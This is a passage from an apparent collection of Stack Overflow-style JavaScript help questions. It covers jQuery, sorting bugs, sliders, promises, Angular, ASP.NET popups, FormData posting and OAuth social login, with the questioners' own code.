self.hide ( ) ; } else { self.show ( ) ; } } ) ;",jQuery multiple selectors with window or document "JS : I have written this code but it is n't working . It 's displaying the unsorted array as well as the button but when I click on the button nothing happens.I am new to javascript . What I know so far is that we can call functions using the onclick method by javascript . We can write functions as we write in c or c++ . That 's what I think I have done here but it is n't showing the sorted array . var myarray = [ 4 , 6 , 2 , 1 , 9 , ] ; document.getElementById ( `` demo '' ) .innerHTML = myarray ; function sort ( myarray ) { var count = array.length - 1 , swap , j , i ; for ( j = 0 ; j < count ; j++ ) { for ( i = 0 ; i < count ; i++ ) { if ( array [ i ] > myarray [ i + 1 ] ) { swap = myarray [ i + 1 ] ; myarray [ i + 1 ] = myarray [ i ] ; myarray [ i ] = swap ; } } document.write ( myarray ) ; } } < p > Click the button to sort the array. < /p > < button onclick= '' sort ( ) '' > Try it < /button > < p id= '' demo '' > < /p >",Sort an array with the sort method in javascript "JS : I just managed to build some javascript code to ensure that multiple sliders do not exceed a maximum value of 24.The problem is that when I try and use this in a multipage template in jquery mobile , it only works for the first page and fails to check for the second page loaded via multipage template.Here is my jsFiddle to give a better idea of the situation [ JsFiddle example ] ( http : //jsfiddle.net/WEewU/20/first page works , 2nd page does not.I am trying to ensure that any number of sliders on a page do NOT exceed 24 hours . And then use this code across all multi-page templates in jquery mobile . Full CodeJavascript < ! DOCTYPE html > < head > < link rel= '' stylesheet '' href= '' http : //code.jquery.com/mobile/1.2.0-alpha.1/jquery.mobile-1.2.0-alpha.1.min.css '' / > < script src= '' http : //code.jquery.com/jquery-1.7.1.min.js '' > < /script > < script src= '' http : //code.jquery.com/mobile/1.2.0-alpha.1/jquery.mobile-1.2.0-alpha.1.min.js '' > < /script > < /head > < body > < form > < ! -- Home Page -- > < div data-role= '' page '' id= '' home '' > < div data-role= '' header '' data-position= '' fixed '' data-id= '' myheader '' > < h1 > test < /h1 > < /div > < ! -- /header -- > < div data-role= '' content '' > < ul id= '' sliders1 '' > < li > < input type= '' range '' id= '' slider '' class= '' value '' name= '' slider1 '' value= '' 0 '' min= '' 0 '' max= '' 24 '' data-highlight= '' true '' / > < /li > < li > < input type= '' range '' class= '' value '' id= '' slider '' name= '' slider2 '' value= '' 0 '' min= '' 0 '' max= '' 24 '' data-highlight= '' true '' / > < /li > < li > < input type= '' range '' class= '' value '' id= '' slider '' name= '' slider3 '' value= '' 0 '' min= '' 0 '' max= '' 24 '' data-highlight= '' true '' / > < /li > < /ul > < a href= '' # home2 '' > Link to 2nd page < /a > < /div > < /div > < div data-role= '' page '' id= '' home2 '' > < div data-role= '' header '' data-position= '' fixed '' data-id= '' myheader '' > < h1 > test < /h1 > < /div > < ! -- /header -- > < div data-role= '' content '' > < ul id= '' sliders '' > < li > < input type= '' range '' id= '' slider '' class= '' value '' name= '' slider4 '' value= '' 0 '' min= '' 0 '' max= '' 24 '' data-highlight= '' true '' / > < /li > < li > < input type= '' range '' class= '' value '' id= '' slider '' name= '' slider5 '' value= '' 0 '' min= '' 0 '' max= '' 24 '' data-highlight= '' true '' / > < /li > < li > < input type= '' range '' class= '' value '' id= '' slider '' name= '' slider6 '' value= '' 0 '' min= '' 0 '' max= '' 24 '' data-highlight= '' true '' / > < /li > < /ul > < a href= '' # home '' > Link to Home < /a > < /div > < /div > < /form > < /body > var sliders = $ ( `` # sliders1 .slider '' ) ; sliders.each ( function ( ) { var max = 24 ; var value = Number ( $ ( this ) .text ( ) , 10 ) , availableTotal = max ; } ) ; $ ( `` .value '' ) .change ( function ( ) { var thisAmount = Number ( $ ( this ) .prop ( `` value '' ) ) ; var totalMax = 24 ; var indMin = Number ( $ ( this ) .attr ( `` min '' ) ) ; var indMax = Number ( $ ( this ) .attr ( `` max '' ) ) ; var total = 0 ; //Get the values of all other text boxes $ ( '.value ' ) .not ( this ) .each ( function ( ) { total += Number ( $ ( this ) .prop ( `` value '' ) ) ; } ) ; //Find the remaining from our total sliders max var remaining = totalMax - total ; if ( remaining < 0 ) { remaining = 0 ; } //if we are under our minimums , go for it ! Otherwise , reduce the number . if ( thisAmount > = indMin & & thisAmount < indMax & & thisAmount < totalMax & & thisAmount < remaining ) { $ ( this ) .siblings ( `` .slider '' ) .slider ( `` option '' , `` value '' , thisAmount ) ; //total += thisAmount ; } else { //var setMax = ( ( indMax + totalMax ) - Math.abs ( indMax - totalMax ) ) / 2 ; var setMax = Math.min ( indMax , totalMax , remaining ) ; $ ( this ) .siblings ( `` .slider '' ) .slider ( `` option '' , `` value '' , setMax ) ; $ ( this ) .prop ( `` value '' , setMax ) ; //total += ( thisAmount - setMax ) ; } //above was getting buggy , so lets just reset total and get it again total = 0 ; //Get the values of all text boxes $ ( '.value ' ) .each ( function ( ) { total += Number ( $ ( this ) .prop ( `` value '' ) ) ; } ) ; //Find our new remaining number after updating total for this value remaining = totalMax - total ; if ( remaining < 0 ) { remaining = 0 ; } //Set each slider to the current point and update their max values . $ ( '.value ' ) .each ( function ( ) { var sliderVal = Number ( $ ( this ) .prop ( `` value '' ) ) ; var sliderMin = Number ( $ ( this ) .attr ( `` min '' ) ) ; var sliderMax = Number ( $ ( this ) .attr ( `` max '' ) ) ; var setNewMax = ( ( ( sliderMax + totalMax ) - Math.abs ( sliderMax - totalMax ) ) / 2 ) ; var newMax = sliderVal + remaining ; if ( newMax < setNewMax ) { $ ( this ) .siblings ( '.slider ' ) .slider ( `` option '' , `` max '' , newMax ) ; } else { $ ( this ) .siblings ( '.slider ' ) .slider ( `` option '' , `` max '' , setNewMax ) ; } $ ( this ) .prop ( `` max '' , setNewMax ) ; } ) ; } ) ;",Prevent multiple sliders from going over a max value-Jquery Mobile Multipage template "JS : This is my first post on stackoverflow , i am encountering error in the following code , no error shows in inspect element / JS console in firefox but for some reason the ouput after calculation is displaying undefined / NaN error . The input from user is parsed in Float.code : function costtoShip ( ) { // get input var weight = parseFloat ( document.getElementById ( `` weight '' ) ) .value ; var msg ; var cost ; var subtotal ; // calculation if ( weight > = 0.00 & & weight < = 150.00 ) { cost = 20.00 ; } else if ( weight > = 151.00 & & weight < = 300.00 ) { cost = 15.00 ; } else if ( weight > = 301.00 & & weight < = 400.00 ) { cost = 10.00 ; } subtotal = weight * cost ; msg = `` < div > Total Weight is `` + weight + `` < /div > '' ; msg = msg + `` < div > Subtotal is `` + subtotal + `` < /div > '' ; // send output document.getElementById ( `` results '' ) .innerHTML = msg ; }",undefined / NaN error in output "JS : I have the following ESLint rule setup : However , I would like the indentation to be ignored for the following case ( where an object key 's value is another object ) .This is the output of the linter : But I want the nested object to be untouched , so it looks like this : So it should be an Object that 's inside an Object that should be ignored . I would also like to have Arrays inside Objects to be ignored as well ( hence why my ignores have Object and Array ) `` vue/script-indent '' : [ `` error '' , 4 , { `` baseIndent '' : 1 , `` switchCase '' : 1 , `` ignores '' : [ `` [ init.type=\ '' ObjectExpression\ '' ] '' , `` [ init.type=\ '' ArrayExpression\ '' ] '' ] } ] let example = { example : { test : `` test '' } } let example = { example : { test : `` test '' } }",eslint - vue/script-indent to ignore object fields "JS : I would like to process a series of data , where the output of each may be used as inputs into the others.For example : This means that once a1 is complete , its output will be sent to both b1 and b2 ; and when these complete , both of their output will be sent to c1 ( only upon both of their completion.x1 may execute in parallel with all of a1 , b1 , b2 , and c1 ; and b1 may execute in parallel with b2 , as no depends between them are defined.Upon completion of c1 and x1 , and therefore the completion of all 5 of them , the output of all five should be returned.We will assume that no circular dependencies are defined , and thus is a directed acyclic graph ( DAG ) I would like to know how to implement this using Q , because : All the processing of the data will be asynchronous , and thus I will need to use either callbacks , or deferreds and promises ; and I prefer the latterPromises can double up as a convenient way to define the edges in the graphHowever , I have not been able to take this past the conceptual stage ( Note that this code is untested and I do not expect it to work , just to illustrate the points necessary for my question . ) I would like to know : Am I doing this right ? Am I completely missing the point with the Q library . or with deferreds and promises ? My main concern is with the doData function : With the doBatch function : General var batch = [ { `` id '' : '' a1 '' , '' depends '' : [ ] , '' data '' : { `` some '' : '' data a1 '' } } , { `` id '' : '' b1 '' , '' depends '' : [ `` a1 '' ] , '' data '' : { `` some '' : '' data b1 '' } } , { `` id '' : '' b2 '' , '' depends '' : [ `` a1 '' ] , '' data '' : { `` some '' : '' data b2 '' } } , { `` id '' : '' c1 '' , '' depends '' : [ `` b1 '' , '' b2 '' ] , '' data '' : { `` some '' : '' data c1 '' } } , { `` id '' : '' x1 '' , '' depends '' : [ ] , '' data '' : { `` some '' : '' data x1 '' } } , ] ; var doPromises = { } ; var doData = function ( data , dependsResultsHash , callback ) { //Not real processing , simply echoes input after a delay for async simulation purposes var out = { echo : { data : data , dependsResultsHash : dependsResultsHash } } ; setTimeout ( function ( ) { callback ( out ) ; } , 1000 ) ; } ; var doLine = function ( id , depIds , data ) { var deferred = Q.defer ; var dependsPromises = [ ] ; for ( var i = 0 ; i < depIds.length ; ++i ) { var depId = depIds [ i ] ; dependPromise = doPromises [ depId ] ; dependsPromises.push ( dependPromise ) ; } Q.all ( dependsPromises ) .then ( function ( dependsResults ) { var dependsResultsHash = { } ; for ( var i = 0 ; i < depIds.length ; ++i ) { var depId = depIds [ i ] ; var depResult = dependsResults [ i ] ; dependsResultsHash [ depId ] = depResult ; } doData ( data , dependsResultsHash , function ( result ) { deferred.resolve ( result ) ; } ) ; } ) ; return deferred.promise ; } var doBatch = function ( batch ) { var linePromises = [ ] ; for ( var i = 0 ; i < batch.length ; ++i ) { var line = batch [ i ] ; var linePromise = doLine ( line.id , line.depends , line.data ) ; linePromises.push ( linePromise ) ; doPromises [ line.id ] = linePromise ; } Q.all ( linePromises ) .then ( function ( lineResults ) { console.log ( lineResults ) ; deferred.resolve ( lineResults ) ; } ) ; } ; doBatch ( batch ) ; -- Is the way that I have selected the promises of the lines depended upon from the global list of promises ` doPromises ` ok ? -- Is the way that I have obtained the results of the lines depended upon , and inpterpreted that OK ? -- I have a local array for ` linePromises ` and an external hash for ` doPromises ` , and I feel that these should be combined . How can I do this correctly ? -- The code above presently assumes that all ` deferred ` s will eventually keep their ` promise ` s . What if they fail or throw an exception ; how do I make my code more robust in handling this ? -- I have used a closure allow acces to ` doPromises ` in both ` doBatch ` and ` doLine ` , and it seems a little odd here , is there a better way to do this ?",Q - executing a series of promises and defining dependencies between them in a DAG "JS : I came across this rather interesting way to create a JavaScript singleton that can be instantiated with the new keyword , like var x = new SingletonClass ( ) . I have a pretty good grasp of variable scope and closures , etc. , but I 'm having a hard time understanding exactly why this block of code works the way it does.My intuition says that each time a new SingletonClass is instantiated , this refers to that fresh new object -- but then since a totally separate object is returned by the constructor , I would figure this would just get discarded . But it hangs around . How ? Why ? There 's some tiny little detail going on here that I 'm missing . Can anybody shine some light on it ? EDIT : Turns out this code is bad . The reason why it `` magically '' seems to hold a reference to the instance is because it 's actually silently storing it in the global object . It 's bad practice at best , and undoubtedly bug-prone . // EDIT : DO NOT USE this code ; see the answers belowfunction SingletonClass ( ) { this.instance = null ; var things = [ ] ; function getInstance ( ) { if ( ! this.instance ) { this.instance = { add : function ( thing ) { things.push ( thing ) ; } , list : function ( ) { console.log ( things.toString ( ) ) ; } } ; } return this.instance ; } return getInstance ( ) ; } var obj1 = new SingletonClass ( ) ; obj1.add ( `` apple '' ) ; obj1.list ( ) ; // '' apple '' var obj2 = new SingletonClass ( ) ; obj2.add ( `` banana '' ) ; obj1.list ( ) ; // '' apple , banana '' obj2.list ( ) ; // '' apple , banana '' obj1.add ( `` carrot '' ) ; obj1.list ( ) ; // '' apple , banana , carrot '' obj2.list ( ) ; // '' apple , banana , carrot ''",How/why does this JS singleton pattern work ? "JS : Assign object literal properties var foo = { bar : 'hello ' } ; Ternary var cats = happy ? `` yes '' : `` no '' ; Label a statement outer_loop : for ( i=0 ; i < 3 ; i++ ) What else ? I 'm poking through a sharepoint 2010 file and I keep running into this syntaxFor instance , there is a file where the following function is declared near the top : and then later in the file we find the followingWhat is this doing ? jsFiddle with full file . This same ULSqvN : ; occurs 47 times in the file.edit : Added full code.PS : Consensus seems to be that the sharepoint use of colon is `` not actual javascript , possibly used as a marker for some external purpose '' . The browser sees it as a vestigial label and so causes no errors . Thanks for all the replies , I have left the actual uses at the top so that the question contains the appropriate answers . question about same code someFunction : ; function ULSqvN ( ) { var o = new Object ; o.ULSTeamName = `` SharePoint Portal Server '' ; o.ULSFileName = `` SocialData.js '' ; return o ; } PageUrlNormalizer = function ( ) { ULSqvN : ; // < -- -- -- -- -- -- -- -- This guy here -- -- -- -- -- -- -- -- -- -- -- -- -- try { this._url = _normalizedPageUrlForSocialItem } catch ( a ) { this._url = `` '' } } ;",Uses of colon in javascript JS : So i have this jQuery function that checks if a particular div has the `` red '' class attached to it . However i want to know how i can make it so that it checks mutliple Divs not just the `` # Drop1 '' div.I have 4 Divs in total from # Drop1 all the way to # Drop4.I want to get it working so that it checks all 4 Divs for the class `` red '' and if any div has this class show the alert message.I 've looked around and ca n't seem to find a concrete answer . $ ( `` Button '' ) .click ( function ( ) { if ( $ ( `` # Drop1 '' ) .hasClass ( `` red '' ) ) { alert ( `` one of your Divs has the class red '' ) ; } } ) ;,if any div has Class through alert "JS : Hi I had implemented the code in which on adding to cart the item gets add and also one popup gets open which shows cart item.On desktop it is working well but on mobile device it is not working.For mobile device it is shoeing error as Here is my below code Html side on .ascx pageMy .cs side code ( Passing total and productquantity ) I am facing issue for mobile device only.On clicking button my page get refresh and popup is not getting open Uncaught ReferenceError : showvalue is not defined < script type= '' text/javascript '' > function showvalue ( value , product ) { $ ( ' # < % = lblproduct1.ClientID % > ' ) .text ( product ) ; $ ( ' # < % = lblVessel.ClientID % > ' ) .text ( value ) ; $ ( '.cart_popup ' ) .show ( ) ; setTimeout ( function ( ) { $ ( '.cart_popup ' ) .fadeOut ( 'slow ' ) ; } , 5000 ) ; return false ; } function Showprogress ( ) { $ ( ' # < % = Progress.ClientID % > ' ) .show ( ) ; } < asp : Button ID= '' AddToBasketButton '' OnClientClick= '' Showprogress ( ) '' runat= '' server '' OnClick= '' AddToBasketButton_Click '' EnableViewState= '' false '' ValidationGroup= '' AddToBasket '' Text= '' Add to Cart '' / > ScriptManager.RegisterClientScriptBlock ( this.Page , typeof ( UpdatePanel ) , UniqueID , `` showvalue ( ' '' + Total + `` ' , ' '' + productquantity + `` ' ) ; '' , true ) ;",Uncaught ReferenceError : show value is not defined ( Only for mobile device ) "JS : I have simply no idea how to do so or if this is even possible with pure css ? This is my codebase …So I have articles with a class layer and they are set to display : table because I want them to be as high and wide as the current viewport.Each of those articles has one < img > inside with different sizes.I 'm trying to create a kind of responsive webdesign ! The < img > s inside of the articles should be centered within its parent article and have a margin of like 30px . When resizing the browser-window the image should be scaled as well.Here is a sample : http : //jsbin.com/ugumuj/edit # previewFirst off : How can I center the image inside of the display : table element ? It should be centered vertically and horizontally.Do I have to assign a width and height of the image or is it possible to kind of set it to 100 % width within the browserwindow and the extra 30px margin.I guess I probably need a lot of javascript to do so , right ? Regards , matt < article class= '' layer '' > < img src= '' whatever.jpg '' alt= '' image '' / > < /article > html , body , # content { margin : 0 ; padding : 0 ; height : 100 % ; width : 100 % ; } article.layer { position : relative ; display : table ; height : 100 % ; width : 100 % ; }",Pure CSS way to keep image in ratio inside of display : table element ? "JS : I have a problem with marker , I want the marker to be stretchable to mark anywhere on the progress barAs shown in below GIFQuestion : I want to select any point on the progress bar and be able to stretch the marker , which can be multiple marker points.I do n't know how to do it with below code : var player = videojs ( 'demo ' ) ; player.markers ( { markerStyle : { 'width ' : '9px ' , 'border-radius ' : '40 % ' , 'background-color ' : 'orange ' } , markerTip : { display : true , text : function ( marker ) { return `` I am a marker tip : `` + marker.text ; } } , breakOverlay : { display : true , displayTime : 4 , style : { 'width ' : '100 % ' , 'height ' : '30 % ' , 'background-color ' : 'rgba ( 10,10,10,0.6 ) ' , 'color ' : 'white ' , 'font-size ' : '16px ' } , text : function ( marker ) { return `` This is a break overlay : `` + marker.overlayText ; } , } , markers : [ { time : 9.5 , text : `` this '' , overlayText : `` 1 '' , class : `` special-blue '' } , { time : 16 , text : `` is '' , overlayText : `` 2 '' } , { time : 23.6 , text : `` so '' , overlayText : `` 3 '' } , { time : 28 , text : `` cool '' , overlayText : `` 4 '' } ] } ) ; < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js '' > < /script > < script src= '' http : //vjs.zencdn.net/4.2/video.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/videojs-markers/0.7.0/videojs-markers.js '' > < /script > < link href= '' http : //vjs.zencdn.net/4.2/video-js.css '' rel= '' stylesheet '' / > < link href= '' https : //cdnjs.cloudflare.com/ajax/libs/videojs-markers/0.7.0/videojs.markers.min.css '' rel= '' stylesheet '' / > < video id= '' demo '' width= '' 400 '' height= '' 210 '' controls class= '' video-js vjs-default-skin '' > < source src= '' http : //vjs.zencdn.net/v/oceans.mp4 '' type= '' video/mp4 '' > < source src= '' http : //vjs.zencdn.net/v/oceans.webm '' type= '' video/webm '' > < /video >",How to make marker mark any where on progress dynamically "JS : When developing a web app with jQuery or normal JavaScript , it is commonplace to check for feature availability first . So for example , if I want to use the document.oncopy event , I should first have something like this to ensure my code does n't break for lesser browsers : I 'm a bit puzzled about how this would work in Angular2 . I could still use the same if I expect to only run in the browser , but I 'm specifically told to leave the DOM alone if I want to use Angular Universal and depend on templates or the DomRenderer instead . This allows the page to be pre-rendered on the server and provides a truly impressive performance gain.But suppose I want a specific div to be invisible if the document.oncopy is unavailable . My understanding is that this is not recommended : and because then I 'm still manipulating the DOM . Note that my example is about the document.oncopy but I could choose any feature whatsoever that does n't have universal support.I tested this using Chris Nwamba 's tutorial on Scotch and added the following to the end of his Home template : Update : Interestingly , it gave different results on different browsers . On Chrome 55 , it executed as it would normally and showed the `` Feature is supported '' message . On IE11 , I received the `` not supported '' message . In both instances the server log shows a EXCEPTION : document is not defined message , but the page still seems perfectly okay.So what is the correct way to check for browser features if I want to use Angular Universal ? Update : I also toyed around with using a field in the template and assigning that field from one of the life cycle hooks . ngAfterContentInit seemed like a fine candidate , but also causes an error on the server . It still runs fine in the browser with no weird effects ( that I have noticed so far ) . if ( `` oncopy '' in document ) { // Feature is available } < div *ngIf= '' hasFeature ( ) '' > ... < /div > hasFeature ( ) { return 'oncopy ' in document ; } < div *ngIf= '' hasFeature ( ) '' > Feature is supported < /div > < div *ngIf= '' ! hasFeature ( ) '' > Feature is NOT supported < /div >",Angular Universal and browser feature checks "JS : I 'm curious why this oneis not alerting nothing . Of course I can write < div style = `` width:100px '' > then everthing works fine , but it is not good for me , I need css.Here you can find a jsfiddle demoSo exact question is : why this code is not alerting width of div and how alert it if width is given by css ? < div class = `` overlay '' > fdsfsd < /div > .overlay { width : 100px ; height : 200px ; background-color : red ; } alert ( document.getElementsByClassName ( `` overlay '' ) [ 0 ] .style.width ) ;",Javascript element style "JS : Why different output in IE and FF ? In IE its showing : Hello and In FF its showing : Hiwhat is standarad ? which browser is doing it right ? Note : if i convert 10 to 11 in FF then it shows Hello var message = `` Hi '' ; setTimeout ( function ( ) { alert ( message ) ; } ,10 ) ; setTimeout ( function ( ) { message = `` Hello '' ; } ,0 ) ;",Is this browser-dependent javascript code ? "JS : I 'm making an ajax call to the controller passing the FormData ( ) , which has an array of objects along with few other properties . In my controller , the list array which I 'm passing seems to have 0 elements . Please help ! Script in cshtml view - Controller - EDIT : Hr_LeaveApplyHd model - applyDetail model - var _getFormDataToJson = function ( ) { var applyDetail = [ ] ; $ ( _tb ) .find ( 'tbody tr ' ) .each ( function ( i , v ) { var trans = { effectiveDate : $ ( this ) .find ( '.effectiveDate ' ) .val ( ) , amount : $ ( this ) .find ( '.amount ' ) .val ( ) , empLeaveHdID : $ ( ' # tx-leaveHdID ' ) .val ( ) , //attachmentUrl : $ ( this ) .find ( '.leaveAttachment ' ) [ 0 ] .files [ 0 ] } applyDetail.push ( trans ) ; } ) ; var formObj = new FormData ( ) ; formObj.append ( 'remark ' , $ ( ' # tx-remark ' ) .val ( ) ) ; formObj.append ( 'leaveAppType ' , $ ( ' # hdnLeaveAppType ' ) .val ( ) ) ; formObj.append ( 'applyDetail ' , applyDetail ) ; //this collection has 0 items in controller return formObj ; } var _sumbitForm = function ( ) { var formData2 = _getFormDataToJson ( ) ; $ .ajax ( { url : ' @ Url.Action ( `` ApplyLeave '' , `` Leave '' ) ' , type : 'POST ' , processData : false , contentType : false , data : formData2 , //data : { data : formData2 } , success : function ( data ) { if ( data.success ) { _myToastr.success ( data.msg [ 0 ] , true , function ( ) { location.reload ( ) ; } ) ; $ ( _modal ) .modal ( 'close ' ) ; } else { _myToastr.error ( data.msg [ 0 ] ) ; } } , complete : function ( ) { } } ) ; } [ HttpPost ] public JsonResult ApplyLeave ( Hr_LeaveApplyHd data ) { foreach ( var detail in data.applyDetail ) //applyDetail count is 0 here { //to DO : } return new JsonResult ( ) ; } public class Hr_LeaveApplyHd { public Hr_LeaveApplyHd ( ) { applyDetail = new List < ApplyDetail > ( ) ; } [ Key ] public int applyID { get ; set ; } public string remark { get ; set ; } public virtual List < ApplyDetail > applyDetail { get ; set ; } public LeaveAppType leaveAppType { get ; set ; } } public class ApplyDetail { [ Key ] public int applyDetialID { get ; set ; } public DateTime effectiveDate { get ; set ; } public decimal amount { get ; set ; } public int empLeaveHdID { get ; set ; } }",Object array in FormData passing 0 objects to controller "JS : I am following this article on Social Logins with AngularJS and ASP.Net WebAPI ( which is quite good ) : ASP.NET Web API 2 external logins with Facebook and Google in AngularJS appPretty much , the code works fine when you are running the social login through a desktop browser ( i.e . Chrome , FF , IE , Edge ) . The social login opens in a new window ( not tab ) and you are able to use either your Google or Facebook account and once your are logged in through any of them , you are redirected to the callback page ( authComplete.html ) , and the callback page has a JS file defined ( authComplete.js ) that would close the window and execute a command on the parent window.the angularJS controller which calls the external login url and opens a popup window ( not tab ) on desktop browsers : loginController.jsauthComplete.htmlauthComplete.jsThe issue I am having is that when I run the application on a mobile device ( Safari , Chrome for Mobile ) , the social login window opens in a new tab and the JS function which was intended to pass back the fragment to the main application window does not execute nad the new tab does not close.You can actually try this behavior on both a desktop and mobile browser through the application : http : //ngauthenticationapi.azurewebsites.net/What I have tried so far in this context is in the login controller , I modified the function so that the external login url opens in the same window : And modified the authComplete.js common.getFragment function to return to the login page , by appending the access token provided by the social login as query string : And in the login controller , I added a function to parse the querystring and try to call the $ scope.authCompletedCB ( fragment ) function like : But obviously this is giving me an error related to angular ( which I have no clue at the moment ) : https : //docs.angularjs.org/error/ $ rootScope/inprog ? p0= $ digestSo , pretty much it is a dead end for me at this stage.Any ideas or input would be highly appreciated . Gracias ! Update : I managed to resolve the Angular error about the rootscope being thrown , but sadly , resolving that does not fix the main issue . If I tried to open the social login on the same browser tab where my application is , Google can login and return to the application and pass the tokens required . It is a different story for Facebook , where in the Developer 's tools console , there is a warning that seems to stop Facebook from displaying the login page.Pretty much , the original method with which a new window ( or tab ) is opened is the way forward but fixing the same for mobile browser seems to be getting more challenging . 'use strict ' ; app.controller ( 'loginController ' , [ ' $ scope ' , ' $ location ' , 'authService ' , 'ngAuthSettings ' , function ( $ scope , $ location , authService , ngAuthSettings ) { $ scope.loginData = { userName : `` '' , password : `` '' , useRefreshTokens : false } ; $ scope.message = `` '' ; $ scope.login = function ( ) { authService.login ( $ scope.loginData ) .then ( function ( response ) { $ location.path ( '/orders ' ) ; } , function ( err ) { $ scope.message = err.error_description ; } ) ; } ; $ scope.authExternalProvider = function ( provider ) { var redirectUri = location.protocol + '// ' + location.host + '/authcomplete.html ' ; var externalProviderUrl = ngAuthSettings.apiServiceBaseUri + `` api/Account/ExternalLogin ? provider= '' + provider + `` & response_type=token & client_id= '' + ngAuthSettings.clientId + `` & redirect_uri= '' + redirectUri ; window. $ windowScope = $ scope ; var oauthWindow = window.open ( externalProviderUrl , `` Authenticate Account '' , `` location=0 , status=0 , width=600 , height=750 '' ) ; } ; $ scope.authCompletedCB = function ( fragment ) { $ scope. $ apply ( function ( ) { if ( fragment.haslocalaccount == 'False ' ) { authService.logOut ( ) ; authService.externalAuthData = { provider : fragment.provider , userName : fragment.external_user_name , externalAccessToken : fragment.external_access_token } ; $ location.path ( '/associate ' ) ; } else { //Obtain access token and redirect to orders var externalData = { provider : fragment.provider , externalAccessToken : fragment.external_access_token } ; authService.obtainAccessToken ( externalData ) .then ( function ( response ) { $ location.path ( '/orders ' ) ; } , function ( err ) { $ scope.message = err.error_description ; } ) ; } } ) ; } } ] ) ; < ! DOCTYPE html > < html xmlns= '' http : //www.w3.org/1999/xhtml '' > < head > < title > < /title > < /head > < body > < script src= '' scripts/authComplete.js '' > < /script > < /body > < /html > window.common = ( function ( ) { var common = { } ; common.getFragment = function getFragment ( ) { if ( window.location.hash.indexOf ( `` # '' ) === 0 ) { return parseQueryString ( window.location.hash.substr ( 1 ) ) ; } else { return { } ; } } ; function parseQueryString ( queryString ) { var data = { } , pairs , pair , separatorIndex , escapedKey , escapedValue , key , value ; if ( queryString === null ) { return data ; } pairs = queryString.split ( `` & '' ) ; for ( var i = 0 ; i < pairs.length ; i++ ) { pair = pairs [ i ] ; separatorIndex = pair.indexOf ( `` = '' ) ; if ( separatorIndex === -1 ) { escapedKey = pair ; escapedValue = null ; } else { escapedKey = pair.substr ( 0 , separatorIndex ) ; escapedValue = pair.substr ( separatorIndex + 1 ) ; } key = decodeURIComponent ( escapedKey ) ; value = decodeURIComponent ( escapedValue ) ; data [ key ] = value ; } return data ; } return common ; } ) ( ) ; var fragment = common.getFragment ( ) ; window.location.hash = fragment.state || `` ; window.opener. $ windowScope.authCompletedCB ( fragment ) ; window.close ( ) ; $ scope.authExternalProvider = function ( provider ) { var redirectUri = location.protocol + '// ' + location.host + '/authcomplete.html ' ; var externalProviderUrl = ngAuthSettings.apiServiceBaseUri + `` api/Account/ExternalLogin ? provider= '' + provider + `` & response_type=token & client_id= '' + ngAuthSettings.clientId + `` & redirect_uri= '' + redirectUri ; window.location = externalProviderUrl ; } ; common.getFragment = function getFragment ( ) { if ( window.location.hash.indexOf ( `` # '' ) === 0 ) { var hash = window.location.hash.substr ( 1 ) ; var redirectUrl = location.protocol + '// ' + location.host + '/ # /login ? ext= ' + hash ; window.location = redirectUrl ; } else { return { } ; } } ; var vm = this ; var fragment = null ; vm.testFn = function ( fragment ) { $ scope. $ apply ( function ( ) { if ( fragment.haslocalaccount == 'False ' ) { authenticationService.logOut ( ) ; authenticationService.externalAuthData = { provider : fragment.provider , userName : fragment.external_user_name , externalAccessToken : fragment.external_access_token } ; $ location.path ( '/associate ' ) ; } else { //Obtain access token and redirect to orders var externalData = { provider : fragment.provider , externalAccessToken : fragment.external_access_token } ; authenticationService.obtainAccessToken ( externalData ) .then ( function ( response ) { $ location.path ( '/home ' ) ; } , function ( err ) { $ scope.message = err.error_description ; } ) ; } } ) ; } init ( ) ; function parseQueryString ( queryString ) { var data = { } , pairs , pair , separatorIndex , escapedKey , escapedValue , key , value ; if ( queryString === null ) { return data ; } pairs = queryString.split ( `` & '' ) ; for ( var i = 0 ; i < pairs.length ; i++ ) { pair = pairs [ i ] ; separatorIndex = pair.indexOf ( `` = '' ) ; if ( separatorIndex === -1 ) { escapedKey = pair ; escapedValue = null ; } else { escapedKey = pair.substr ( 0 , separatorIndex ) ; escapedValue = pair.substr ( separatorIndex + 1 ) ; } key = decodeURIComponent ( escapedKey ) ; value = decodeURIComponent ( escapedValue ) ; data [ key ] = value ; } return data ; } function init ( ) { var idx = window.location.hash.indexOf ( `` ext= '' ) ; if ( window.location.hash.indexOf ( `` # '' ) === 0 ) { fragment = parseQueryString ( window.location.hash.substr ( idx ) ) ; vm.testFn ( fragment ) ; } }",AngularJS and ASP.Net WebAPI Social Login on a Mobile Browser "JS : I would like to serialize part of the DOM to XHTML ( valid XML ) . Let 's assume I have just one element inside < body > , and that this is the element I want to serialize : With this , document.innerHTML gives me almost what I want , except it returns HTML , not XHTML ( i.e . the < hr > and < img > wo n't be properly closed ) . Since innerHTML does n't do the trick , how can I serialize part of the DOM to XHTML ? < div > < hr > < img src= '' /foo.png '' > < /div >","In JavaScript , how can serializer part of the DOM to XHTML ?" "JS : ContextI 'm working with Angular . I have a service called UserService , that handles login , authentication and user data requests.The get method needs to check if the user has a valid ( not expired ) token for authentication before making the get request.So , if it has , make the request , if not , request a token and then make the request.ProblemThis get method needs to hide its complex requests . It has to return only a Promise as it was making only one request.So , an example of usage : Wrong solutionCheck if the token is expired . If it is , return a request to refresh the token , and there , make and return the get request . If it is not , just make and return the get request . As below : But it 's returning a promise that I will have to handle like this : Anything like the usage example ! Correct solutionHow to make this get method on service , which handles authentication like that and hides everything from the controller that will use , letting it like in the usage example ? UserService .get ( ) .then ( data = > { ... } ) .catch ( error = > { ... } ) function get ( ) { if ( isTokenExpired ( token ) ) return $ http .post ( url + '/refreshtoken ' , 'token= ' + refreshToken ) .then ( response = > { token = response.data.token return $ http.get ( url + ' ? token= ' + token ) } ) .catch ( response = > { ... } ) else return $ http.get ( url + ' ? token= ' + token ) } UserService .get ( ) .then ( request = > { request // THAT IS NOT GOOD .then ( data = > { ... } ) .catch ( error = > { ... } ) } ) .catch ( error = > { ... } )",Return promise inside resolve function as its continuation "JS : I can not find an proper example for the love of my life on how to do this or even if this is possible . Based on my pieced together understanding from fragments of exmaples , I have come up with the following structureHowever this is not working ( obviously ) . I would greatly appreciate if someone could point me in the right direction ! var t = function ( ) { this.nestedOne = function ( ) { this.nest = function ( ) { alert ( `` here '' ) ; } } } t.nestedOne.nest ( ) ;",Deep nesting functions in JavaScript "JS : This is my first time working with tests and I get the trick to test UI components . Now I am attempting to test a class which has some static methods in it . It contains parameters too.See the class : I already created a small test which is passing but I am not really sure about what I am doing.I am using moxios to test the axios stuff - > https : 